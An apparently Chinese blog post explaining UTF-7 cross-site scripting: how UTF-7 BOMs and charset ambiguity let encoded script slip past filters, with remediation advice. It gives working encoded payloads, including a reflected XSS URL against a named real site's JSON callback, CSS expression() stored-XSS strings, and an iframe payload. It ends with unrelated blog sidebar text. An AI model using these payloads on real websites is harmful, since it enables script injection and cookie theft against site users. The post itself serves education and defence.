----------------------------------------- UTF-7 XSS Paper ----------------------------------------- *****************
0x01. UTF-7是什么
************************************************** *************************************************** *******************
UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF))是一种可变长度字符编码方式,
用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以应用在电子邮件传输之类的应用。
Wiki-URL: http://zh.wikipedia.org/zh-cn/UTF-7
<1> 可以通过设置 @charset=utf-7 设定为 utf-7编码
<2> 可以通过在正文开头设置 utf-7 bom 设定为 utf-7编码
utf-7 bom 目前知道的有4个
+/v8 | +/v9 | +/v+ | +/v/
************************************************** *************************************************** *******************
**********************
0x02. 可以针对哪些目标
************************************************** *************************************************** *******************
utf-7 相对于其他字符集有什么特点呢?
<1> 以 ASCII可显示字符 来编码的,这点在逃过过滤检测非常有用
<2> 有 bom 这个东东,其他一些字符集没有,大大地提高了利用的几率
utf-7 可以攻击的目标
<1> http response 设置不严格的,比如设置 Content-Type: text/html
<2> 字符集没有专门指定的,是模糊的
<3> 标签之前有机会设置字符集的
用 utf-7 来攻击的步骤
<1> 通过各种手段先夺取到utf-7字符集的优先权,使utf-7编码能被解码
常见手段有
在正文开始设置bom标记
在之前设置字符集
遇到默认字符集(没专门指定字符集)的网页通过编码格式争夺
<2> 因为utf-7编码特点,可以逃过绝大部分过滤检测,再配合常规的XSS手法
最简单的就是可以把 '<' 和 '>' 编码掉,而绝大部分的网站也只是简简单单地对这两个符号进行转移或过滤
************************************************** *************************************************** *******************
************************
0x03. 怎样利用demo或说明
************************************************** *************************************************** *******************
Reflected XSS:
[Json utf-7 xss]
<格式> http://xx/..callback=[utf-7头][utf-7数据流]...
黑哥挖的一个tudou的json callback
http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8
%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkA cAB0AD4AYQBsAGUAcgB0ACg
AMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAP gA8AC8AaAB0AG0APg-%20xsadas
[utf-7头] -> %2B%2Fv8 (+/v8)
[utf-7数据流] -> %2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB 0AD4AYQBsAGUAcgB0ACgAMQApADsAP
AAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB 0AG0APg-
[utf-7数据解码后] ->
Stored XSS:
[baidu自定义css utf-7 css]
<格式> css正文开始必须为[utf-7头],[utf-7数据流]可在[utf-7头]后正文的任意位置
黑哥blog里css的utf-7 xss
http://hitn.bdimg.com/hi_heige/css/item/ee0 92fa60.css
css正文的内容:
-------------------------------------------------- ------------------
+/v8
#phx{FILTER: Alpha(Opacity=100, FinishOpacity=10, Style=2, StartX=20, StartY=40, FinishX=0, FinishY=0)gray(); WIDTH: 220px;
HEIGHT: 32px}
...
body{background:#FFFFFF;font- family:'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpA G8AbgAoACgAdwBpAG4AZABvAHcALgByAHIAcgA9AD0AMQAp AD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASA BhAHAAcAB5ACAATgBl AHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGkAbwAuAC 8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0Aa QBsAHkAOgAnA-';}
...
-------------------------------------------------- ------------------
[utf-7头] -> %2B%2Fv8 (+/v8)
[utf-7数据流] -> +AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoA CgAdwBpAG4AZABvAHcALgByAHIAcgA9AD
0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZ QB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5A
CAATgBlAHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGk AbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgB
hAG0AaQBsAHkAOgAnA-
[utf-7数据解码后] -> x';xss:expression((window.rrr==1)?'':eval('rrr=1;e val(alert(/Happy New Year! thx mario./));'));font-family:'
************************************************** *************************************************** *******************
********************
0x04. 有哪些修复方法
************************************************** *************************************************** *******************
要防御 utf-7 xss,只需要防止utf-7字符集被识别就行
utf-7 能使用主要通过两种方式
<1> 设置字符集为 utf-7
<2> 在文本开头设置 utf-7 bom
看看上文 utf-7 可以攻击的目标
<1> http response 设置不严格的,比如设置 Content-Type: text/html
<2> 字符集没有专门指定的
<3> 标签之前有机会设置字符集的
再反推防御
<1> http response 严格设置,比如 json 的一定要设置为 Content-Type: "json",不然会被 callback 攻击
<2> 字符集在开发阶段就指定好,避免被抢夺优先权。
如果不能先设置好字符集的(比如css)把正文开始插入一个 space 或 \n,让 utf-7 bom 失效
<3> 不要让标签之前有机会设置字符集的
demo:
<1> 比如像存储类www.webyuanma.com的数据,应该在做了jsp过滤净化的基础上,防止出现 utf-7 bom
就像 baidu在自定义css 的第一个位置强制插入一个 space
为了不破坏用户所想要表达的数据之类,在第一个位置插入一个 space 或 \n 都可以
<2> 像json被攻击的格式,在正文处也可以这样处理
http://apps.hi.baidu.com/dashan/data/status?asyn=1 &callback=[utf-7头][utf-7数据流]......
对于 json 的场景,还需要设置 header: Content-Type: "json" (格式貌似不对,表示那么个意思就是)
或者在正文的asp.net第一个位置插入一个 space或 \n
************************************************** *************************************************** *******************
想到大部分人都比较懒~ 不想自己去搜
就给一些很不错的参考资料链接吧~
http://openmya.hacker.jp/hasegawa/public// s6/h6.html?file=datae.txt (按方向键左右操作)
http://openmya.hacker.jp/hasegawa/security/utf7cs. html
http://secdocs.lonerunners.net/documents/details/2 056-xss-lightsabre-techniques-using-hackvertor
明天又要纠结 javasnoop 鸟= =~ 雅蠛蝶~
-------------------------------------------------- ------实验-------------------------------------------------- ------------------------------------------- 再访问 发现xss没反应
仔细看了下 原来被 强制在第一个位置插入了一个空格 破坏了
度娘把我的 utf-7 bom 赤裸裸地给ons了~
雅蠛蝶呀~
我还想玩玩呢~ 居然就被补鸟~ T_T~ 泪奔呀~
-------------------------------------------------- -----------------------------
收集了一些 utf-7 bom
大家拿去玩吧 =.=~
hackvertor 给的也只有这4个
+/v8 +/v9 +/v+ +/v/
原文
UTF-7 Kung fu lesson continued
·Multiple BOM characters allow UTF-7 to be executed
·BOM character has to be first character
·Not that useful but still interesting
·%2B%2F%76%38
·%2B%2F%76%39
·%2B%2F%76%2b
·%2B%2F%76%2f
-------------------------------------------------- -----------------------------
黑哥(5up3rh3i) 也给了个 utf-7 reflected xss 的例子
在IE下测试成功
http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGI AbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQ ApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8A C8AaAB0AG0APg-%20xsadas
更多例子:
+/v8
body {
font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-';
}
+/v8
body {
font-family:"+AHgAIgA7AHgAcwBzADoAZQB4AHAAcgBlAHMA cwBpAG8AbgAoACgAdwBpAG4AZABvAHcALgB4AG8AeAA9AD0AMQA pAD8AJwAnADoAZQB2AGEAbAAoACIAeABvAHgAPQAxADsAZQB2AG EAbAAoAGEAbABlAHIAdAAoAC8AWABTAFMAIQAvACkAKQA7ACIAK QApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAI-";
}
//x";xss:expression((window.xox==1)?'':eval("xox=1 ;eval(alert(/XSS!/));"));font-family:"
//x";xss:expression((window.xox==1)?'':eval("xox=1 ;document.write('');"));font-family:"
继续更多:
摘自我的博客[url]http://hi.baidu.com/thanks4sec/home[/url]
想看UTF-7XSS效果的同学请用ie访问[url]http://hi.baidu.com/hi_heige/blog[/url]
--------------------------------------
大概是由heige牵头,导致UTF-7 XSS最近满火的,好多大侠也都在博客里撰文探讨
最喜欢奇技淫巧了,倒腾了一翻,忍不住写点东西出来
不对的地方请指正
UTF-7是什么
UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF)) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。
举个例子:
编码后就成了
+ADw-script+AD4-alert(document.cookie)+ADw-/script +AD4-
原理阐述
由于标签没有指定明确的charset,导致浏览器将编码以utf-7解析,从而形成XSS
比如一个回应包如下:
HTTP/1.1 200 OK
Content-Type: text/html.... ...
我们看到,http头里并没有指定charset,那么浏览器会将包内容以何种编码形式解析呢?
OK,UTF-7 XSS的利用就在这里了
linx在博客里也讲了,归根结底,这个问题还出在IE处理meta steam的编码策略上
利用方法
PS.针对utf-7微软之前已经对ie打过补丁了,所以以下的利用未必成功,仅供参考学习之用
情况1.
如:
< /title>
< meta http-equiv="content-type" content="text/html; charset=utf-8">
在meta charset之前插入语句,使得charset成utf-7 ( 在IE8下测试不成功)
情况3
如:
< head>
< meta http-equiv="content-type" content="text/html>
< /head>
< body>
< iframe src="http://target.example.com/NOTFOUND/%2BACIAPgA 8-script%2BAD4-alert%28document.location%29%2BADw-% 2Fscript%2BAD4APAAi-">
< /body>
< /html>
页面默认不以utf-7解析。通过在iframe中包含utf-7的语句,使得其解析成utf-7
情况4
如:
[url]http://www.tudou.com/my/channel/item.srv?icod e=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APg A8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0A CgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkA PgA8AC8AaAB0AG0APg-%20xsadas[/url]
[url]http://apps.hi.baidu.com/dashan/data/status?a syn=1&callback=[/url]【utf-7头】【utf-7数据流】......
json,这个很多了
情况5
· UTF-7 BOM character can force UTF-7 in a external style sheet
· Would you let me upload a style sheet?
· @charset UTF-7; works
· But you dont need it
· +/v8 is all you need
+/v8
body {
font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-';
}
CSS utf-7 XSS:在css里头通过+/v8(这里的原理还是之前说的,控制文件的开头的几个字节)控制编码成utf-7,heige在百度空间里用的就是这招
- 浏览: 287116 次
- 性别:
- 来自: 杭州
最新评论
-
sjx19871109:
有一个疑问,博主在做循环的时候,for(int i=0;i&l ...
ArrayList:用add代替remove -
剑锋凛冽:
不错,看了很有帮助。但有个概念不是很清楚,锁投票是什么?
java中的lock和synchronized -
星期扒的幻想:
学习了,了解了
Solr增删改查 -
programming:
很蛋痛的webx 工程与jarsource编码不一直,相关 ...
Webx3 -
xjt927:
...
Solr增删改查
相关推荐
UTF-7,编码解码工具,可直接用于跨站脚本攻击xss
UTF7编码是一种Unicode字符集的变种编码方式,全称为"UTF-7: Unicode Transformation Format – 7-bit"。在1992年由IBM的Doug Ewell提出,初衷是为了适应那些只能处理7位ASCII字符的通信协议,如电子邮件系统。UTF7...
- 在使用ueditor时,需要关注XSS攻击和CSRF攻击的风险,确保后端对输入内容进行过滤和验证,防止恶意代码注入。 7. **安装与配置ueditor**: - 下载并解压“百度编辑器ueditor(UTF-8).rar”后,将相关文件上传...
在使用ueditor时,需要注意XSS、CSRF等安全问题。源码中已经对用户输入做了基本的过滤,但实际部署时,仍需根据项目需求进行额外的安全加固。 7. **集成到Java Web项目** 将ueditor集成到JSP项目中,通常需要在...
3.2在安全方面进行了大量优化,包括SQL注入防护、XSS攻击防御等,确保论坛的数据安全。 3. 界面优化:采用新的UI设计,提供更佳的视觉效果和用户体验,同时保持了良好的易用性。 4. 功能升级:新增和改进了多项功能...
为了确保文件上传的安全性,`jspSmartUpload.jar`还提供了防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的措施。开发者可以通过配置来验证上传请求的来源和内容,防止恶意攻击。 总的来说,`jspSmartUpload.jar`...
5. **安全性**:集成第三方服务的同时,需要关注数据安全和隐私保护,如正确处理用户敏感信息,防止SQL注入、XSS攻击等网络安全问题。 6. **性能优化**:对于电商平台,性能优化至关重要,包括页面加载速度、数据库...
4. **安全增强**:考虑到UTF-8编码可能存在的XSS和SQL注入攻击风险,改进版可能会增强对这些攻击的防御机制,比如过滤非法字符和强化SQL预编译。 5. **插件与模块兼容**:原有的UTF-8插件和模块可能在新版本中得到...
7. **反馈信息**:使用UTF-8编码展示上传结果,确保信息正确显示。 通过上述步骤,结合`SmartUpload_utf-8.jar`,开发者可以构建一个健壮且对UTF-8编码友好的文件上传系统。在实际开发中,还需要注意兼容不同浏览器...
例如,限制上传文件类型、大小,防止XSS攻击,以及对上传的文件进行重命名,避免路径遍历攻击。 通过以上步骤,你应该能够成功配置并使用ueditor1.4.3 jsp utf-8版。在实际应用中,你可能需要根据具体需求进行更多...
4. **安全性高**:EWebEditor具备良好的安全防护机制,可以有效防止XSS攻击,保护用户的数据安全。 5. **定制化强**:开发者可以根据自身需求对EWebEditor进行二次开发,调整样式、添加插件或扩展功能,以满足特定...
UEditor1_4_3_3-utf8-jsp 是一个专为UAP2.8版设计的富文本编辑器,它集成了UTF-8编码,以确保在处理多语言内容时的正确显示。...同时,为了保证安全性,还需要考虑如防止XSS攻击、CSRF攻击等Web应用的安全问题。
开发者需要检查代码中可能的安全漏洞,如SQL注入、XSS攻击等,并确保系统定期更新以修补潜在的安全风险。 通过深入研究CMSSP4utf-8的源码,不仅可以提升PHP编程技能,还可以了解到CMS系统设计的最佳实践,这对于...
同时,考虑到安全问题,PHPWind在7.5 RC版本中强化了SQL注入防护和XSS跨站脚本攻击的防御,提升了系统的安全性。 另外,PHPWind 7.5 RC 支持插件系统,开发者可以通过编写插件来实现自定义功能,这大大增强了论坛的...
5. **安全考虑**:UEditor具有上传功能,需要注意安全问题,比如防止XSS攻击和文件上传漏洞。因此,应确保ECSHOP服务器的安全设置得当,例如限制上传文件类型、设置合理的文件名规则等。 通过以上步骤,ECSHOP的...
系统应包含防止SQL注入、XSS攻击的安全措施,并定期更新以修补可能的漏洞。 10. **插件和扩展** 良好的CMS会提供插件或模块化架构,允许用户根据需要添加额外的功能,如社交媒体分享、评论系统、广告管理等。 11....
7. **代码高亮**:对于程序员或技术类网站,ueditor提供了代码高亮功能,使得代码展示更清晰,阅读体验更佳。 8. **响应式设计**:ueditor具有良好的响应式布局,能在不同设备上呈现良好的视觉效果,适应移动互联网...
7. 插件和模块扩展:可能支持第三方插件和模块的安装,以增强系统的功能,如论坛、博客、购物车等。 8. 安全性:考虑到ASP的安全问题,ASPCMS可能会提供一些安全措施,如SQL注入防护、XSS攻击防范等。 9. 兼容性:...
7. 安全性:防止SQL注入和跨站脚本攻击(XSS),通过预处理语句、参数绑定和对用户输入进行转义或过滤,确保系统的安全性。 而UTF-8编码是Unicode的一个变体,能够表示世界上几乎所有的字符,包括中文、英文、日文...
- 安全性:由于 UEditor 允许用户输入HTML代码,需防止XSS攻击,对用户输入的数据进行过滤和转义。 - 性能优化:合理设置图片、文件的上传限制,避免过大文件导致服务器压力。 - 兼容性:测试不同浏览器和设备下的...